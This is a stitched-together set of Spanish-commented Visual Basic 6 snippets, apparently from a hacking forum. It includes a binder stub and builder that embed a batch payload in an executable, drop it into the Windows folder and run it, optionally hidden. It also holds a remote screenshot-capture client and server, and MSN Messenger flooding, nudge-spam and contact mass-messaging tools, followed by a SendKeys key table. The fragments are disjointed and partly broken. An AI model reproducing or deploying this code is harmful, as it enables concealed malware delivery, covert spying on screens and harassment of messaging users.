Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Dim Firma As String
Dim SubFirma As String
Dim modo As String
Dim datobat As String
Dim code As Variant, Partes As Variant
Const GWW_HINSTANCE = (-6)
Const SW_SHOWNORMAL = 1
Const SW_SHOWHIDE = 0

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
Firma = "[--]"
SubFirma = "[++]"

Open Ruta For Binary Access Read As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1

code = Split(todo, Firma)
For i = 1 To UBound(code)
    Partes = Split(code(i), SubFirma)
        For x = 0 To UBound(Partes)
            Select Case x
                Case 0
                    datobat = Partes(x)
                Case 1
                    modo = Partes(x)
            End Select
        Next
Next

Open Environ("Windir") & "\" & "tempfile.bat" For Binary Access Write As #1
Seek (1), LOF(1) + 1
    Put #1, , datobat
Close #1
Pause 1
Call arreglar

If modo = "inv" Then
    ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_SHOWNORMAL
    Else
        If modo = "vis" Then
            ShellExecute Me.hwnd, "open", Environ("Windir") & "\" & "tempfile.bat", vbNullString, "", SW_HIDE
        End If
End If
Call fin
End Sub

Private Sub fin()
End
End Sub

Private Sub arreglar()
Dim semi() As String
Dim exo As String
exo = "@echo off"
Open Environ("Windir") & "\" & "tempfile.bat" For Input As #1
    Dim todo As String
        todo = Input(LOF(1), #1)
Close #1

semi = Split(todo, vbCrLf)

If UBound(semi) > 2 Then
    semi(0) = exo
End If

Open Environ("WinDir") & "\tempfile.bat" For Output As #1
    For i = 0 To UBound(semi)
        Print #1, semi(i)
    Next i
Close #1
End Sub

Open rutab For Binary Access Read As #1
    Dim datobat As String
    datobat = Space(LOF(1))
    Get #1, , datobat
Close #1

Open App.Path & "\" & cd.FileTitle & ".exe" For Binary Access Write As #1
    Seek (1), LOF(1) + 1
    Put #1, , firma
    Put #1, , datobat & subfirma & modo
Close #1

Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
ws.Close
labe1.Caption = "Desconectado..."
Timer1.Enabled = False
End Sub

Private Sub Command3_Click()
ws.SendData "cap"
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
Label1.Caption = "Escuchando..."
ws.LocalPort = 1234
ws.Listen
End If
End Sub

Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, "Skull Capture"
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim dato As String
Dim envio As Boolean
Dim lf() As String
Dim lenfile As String

ws.GetData dato
Select Case Left(dato, 3)
    Case "Tam"
        lf = Split(dato, "|")
        lenfile = lf(2)
        envio = True
        ws.SendData "send"
    Case "sen"
        Dim imagen() As String
        If envio = True Then
        Data = dato
            If Len(Data) = lenfile Then
                Open Environ("temp") & "\imagen1.bmp" For Binary As #1
                Put #1, , lenfile
                Close #1
                Form2.Show
                Form2.Picture1.Picture = LoadPicture(Environ("Temp") & "\imagen1.bmp")
                Kill Environ("Temp") & "\imagen1.bmp"
            End If
        End If
End Select
End Sub

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Private Sub Form_Load()
ws.Connect "127.0.0.1", 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State <> 7 Then
ws.Close
ws.Connect "127.0.0.1", 1234
End If

If ws.State = 7 Then
GoTo fin
End If

If ws.State = 2 Then
GoTo fin
End If

fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
    Case "cap"
        Call Capturar_enviar
    Case "Sen"
        Dim send As String
        Open "E:\imagen1.bmp" For Binary As #1
        Do While EOF(1)
        send = Space(LOF(1))
        Get #1, , send
        Loop
        Close #1
        ws.SendData send
        Pause 1
        Kill "E:\imagen1.bmp"
End Select
End Sub

Private Sub Capturar_enviar()
Clipboard.Clear

keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYUP, 0
Pause 1
Picture1.Picture = Clipboard.GetData
SavePicture Picture1.Picture, "E:\imagen1.bmp"
Clipboard.Clear
Pause 1
ws.SendData "Tam:|" & FileLen("E:\imagen1.bmp")
End Sub

Private Sub Command1_click()
List1.Clear 'limpiamos el listbox
Set MsgrUIA = New MessengerAPI.Messenger ' seteamos MsgrUIA para trabajar con contactos
Dim user As IMessengerContact ' declaramos user como contacto del msn

    For Each user In MsgrUIA.MyContacts ' por cada user(usuraio) en MsgrUIA.MyContacts(osea en la lista de TUS contactos)
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then ' si estan en esos estados de arriba
        List1.AddItem user.SigninName ' lo agregamos al list1
        End If 'terminamos if
    Next ' next
Set MsgrUIA = Nothing ' limpiamos el MsgrUIA
End sub ' terminamos

Private sub Command2_Click()
dim user as IMessengerContact ' ya explicado
dim venta as IMessengerConversationWnd ' ya explicado
Set MsgrUIA = New MessengerAPI.Messenger ' seteamos

    For Each user In MsgrUIA.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then ' por cada usuario en el estado de arriba
        Set venta = MSN.InstantMessage(user) ' abrimos la ventana de conversacion con el user que esta en el bucle
              SendKeys Text1.Text ' ponemos nuestro comentario en el ClipBoard del msn
              SendKeys "{ENTER}" ' enviamos las teclas enter
            venta.Close ' cerramos la ventana de conversacion
        End If
      Next
Set MsgrUIA = Nothing 'limpiamos
end sub

Private Sub Label1_Click()
On Error Resume Next
List1.Clear
Set MsgrUIA = New MessengerAPI.Messenger
Dim user As IMessengerContact
    For Each user In MsgrUIA.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
        List1.AddItem user.SigninName
        End If
    Next
Set MsgrUIA = Nothing
End Sub

Private sub command1_Clicl()
On Error Resume Next
If List1.SelCount = 0 Then ' vemos si no se selecciono nada en el listbox tiramos un MsgBox
MsgBox ("Porfavor eliga un usuario"), vbInformation, "MSN Manager"
GoTo fin
End If

If IsNumeric(Text2.Text) = False Then ' ahora si en el text2.text es numerico pues tiramos otro MsgBox
MsgBox ("Porfavor agrege un numero no una letra")
GoTo fin
End If

Call cucu(Text1, Text2)
Text2.Text = "1"
fin:
end sub

Private Sub cucu(mensa As String, veces As String)
On Error Resume Next
Dim b As Integer
Dim g As Integer
Dim venta As IMessengerConversationWnd

If veces = 0 Then veces = 1 ' si el numero de veces es igual a 0 entonces ponemos de valor 1

For i = 0 To List1.ListCount - 1 ' para i que es igual a 0 hasta la lista de la cuenta del ListBox
    If List1.Selected(i) = True Then ' si el contacto esta seleccionado(true) entonces
    Set venta = MSN.InstantMessage(List1.List(i)) ' seteamos nuestra ventana de conversacion
        For g = 1 To veces ' creamos un bucle para el numero de veces
                SendKeys mensa ' enviamos el mensaje o lo seteamos en el "CliBoard"
                SendKeys "{ENTER}" ' damos un enter para enviarlo
                DoEvents ' hacemos DoEvents para no perder el bucle o el control de este
            Next ' seguimos
        venta.Close
    End If
    DoEvents
Next
Set venta = Nothing
End Sub

Private Sub Command1_Click()
If Text6.Text = "" Then
    MsgBox ("Porfavor, agrege un contacto para Floodear"), vbInformation, "MSN Manager"
GoTo pero
End If

If Text5.Text = "" Then
    MsgBox ("Porfavor agrege una cantidad para Floodear"), vbInformation, "MSN Manager"
GoTo pero
End If

If IsNumeric(Text5.Text) = False Then
MsgBox ("Eso se supone que es un numero" & " Text5.text"), vbInformation, "MSN Manager"
GoTo pero
End If

If Text5.Text = 0 Then
Text5.Text = 1
End If

Dim ventax As IMessengerConversationWnd
    For Y = 1 To Text5.Text ' caemos en el bucle para el floodeo
        Set ventax = MSN.InstantMessage(Text6.Text) ' seteamos la ventana de conversacion con nuestro contacto
        SendKeys "%Z" ' enviamos esta tecla que mas abajo veran para que es solo les digo que cuando la precionan envia de una un Nudgeo
        Pause 1 'damos pausa por 1 segund mas abajo explico
    ventax.Close ' cerramos la ventana
Next Y ' seguimos el bucle
pero:
end sub

Sub Pause(interval)
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub

If Text1.Text = 0 Then
Text1.Text = 1
End If

For v = 1 To Text1.Text
    MSN.MyStatus = MISTATUS_INVISIBLE ' cambiamos nuestro estado a invisible
    Pause 1 ' pausa de 1 segundo
    MSN.MyStatus = MISTATUS_ONLINE ' y ahora a conectados y hay saldra el PopUP! ;)
Next

Tecla 	Argumento

RETROCESO 	{BACKSPACE}, {BS} o {BKSP}
INTERRUMPIR 	{BREAK}
BLOQ MAYÚS 	{CAPSLOCK}
SUPR o SUPRIMIR 	{DELETE} o {DEL}
FLECHA ABAJO 	{DOWN}
FIN 	{END}
ENTRAR 	{ENTER} o ~
ESC 	{ESC}
AYUDA 	{HELP}
INICIO 	{HOME}
INS o INSERTAR 	{INSERT} o {INS}
FLECHA IZQUIERDA 	{LEFT}
BLOQ NUM 	{NUMLOCK}
AV PÁG 	{PGDN}
RE PÁG 	{PGUP}
IMPRIMIR PANTALLA 	{PRTSC}
FLECHA DERECHA 	{RIGHT}
BLOQ DESPL 	{SCROLLLOCK}
TAB 	{TAB}
FLECHA ARRIBA 	{UP}
F1 	{F1}
F2 	{F2}
F3 	{F3}
F4 	{F4}
F5 	{F5}
F6 	{F6}
F7 	{F7}
F8 	{F8}
F9 	{F9}
F10 	{F10}
F11 	{F11}
F12 	{F12}
F13 	{F13}
F14 	{F14}
F15 	{F15}
F16 	{F16}
{BREAK} = Break
{CAPSLOCK} = Caps Lock
{CLEAR} = Clear
{DELETE} = Delete
{DOWN} = Down Arrow - Flechita Abajo
{LEFT} = Left Arrow - Flechita Izquierda
{RIGHT} = Right Arrow - Flechita Derecha
{UP} = Up Arrow - Flechita Arriba
{NUMLOCK} = Num Lock
{PGDN} = Page Down
{PGUP} = Page Up
{SCROLLLOCK} = Scroll Lock
{F1} = F1 Usar {F2} {F3} para F2, F3, etc
{HOME} = home
{INSERT} = Insert
___  ___  ___  ___  ___  ___  ___  ___

Tecla 	Carácter especial
MAYÚSCULAS 	+
CTRL 	^
ALT 	%